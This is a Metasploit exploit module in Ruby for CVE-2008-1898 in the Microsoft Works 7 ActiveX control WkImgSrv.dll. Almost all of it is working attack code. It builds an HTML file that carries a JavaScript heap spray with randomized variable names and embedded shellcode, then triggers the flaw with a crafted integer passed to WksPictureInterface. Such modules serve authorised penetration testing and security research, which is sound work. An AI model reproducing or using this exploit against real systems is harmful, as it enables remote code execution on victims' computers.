##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = LowRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Works 7 WkImgSrv.dll WKsPictureInterface() ActiveX Code Execution',
      'Description'    => %q{
          The Microsoft Works ActiveX control (WkImgSrv.dll) could allow a remote attacker
        to execute arbitrary code on a system. By passing a negative integer to the
        WksPictureInterface method, an attacker could execute arbitrary code on the system
        with privileges of the victim. Change 168430090 /0X0A0A0A0A to 202116108 / 0x0C0C0C0C FOR IE6.
        This control is not marked safe for scripting, please choose your attack vector carefully.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'dean <dean[at]zerodaysolutions.com>' ],
      'References'     =>
        [
          [ 'CVE','2008-1898' ],
          [ 'OSVDB', '44458'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP2-SP3 IE 7.0', { 'Ret' => 0x0A0A0A0A } ]
        ],
      'DisclosureDate' => '2008-11-28',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.html']),
      ])
  end

  def exploit

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Set the return.
    ret     = Rex::Text.to_unescape([target.ret].pack('L'))

    # Randomize the javascript variable names.
    vname  = rand_text_alpha(rand(10) + 1)
    var_i  = rand_text_alpha(rand(10) + 1)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)

    content = %Q|
<html>
<object id='#{vname}' classid='clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6'></object>
<body>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{ret}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x10000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 1000; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
#{vname}.WksPictureInterface = 168430090;
</script>
</body>
</html>
|

    print_status("Creating HTML file ...")

    file_create(content)
  end
end
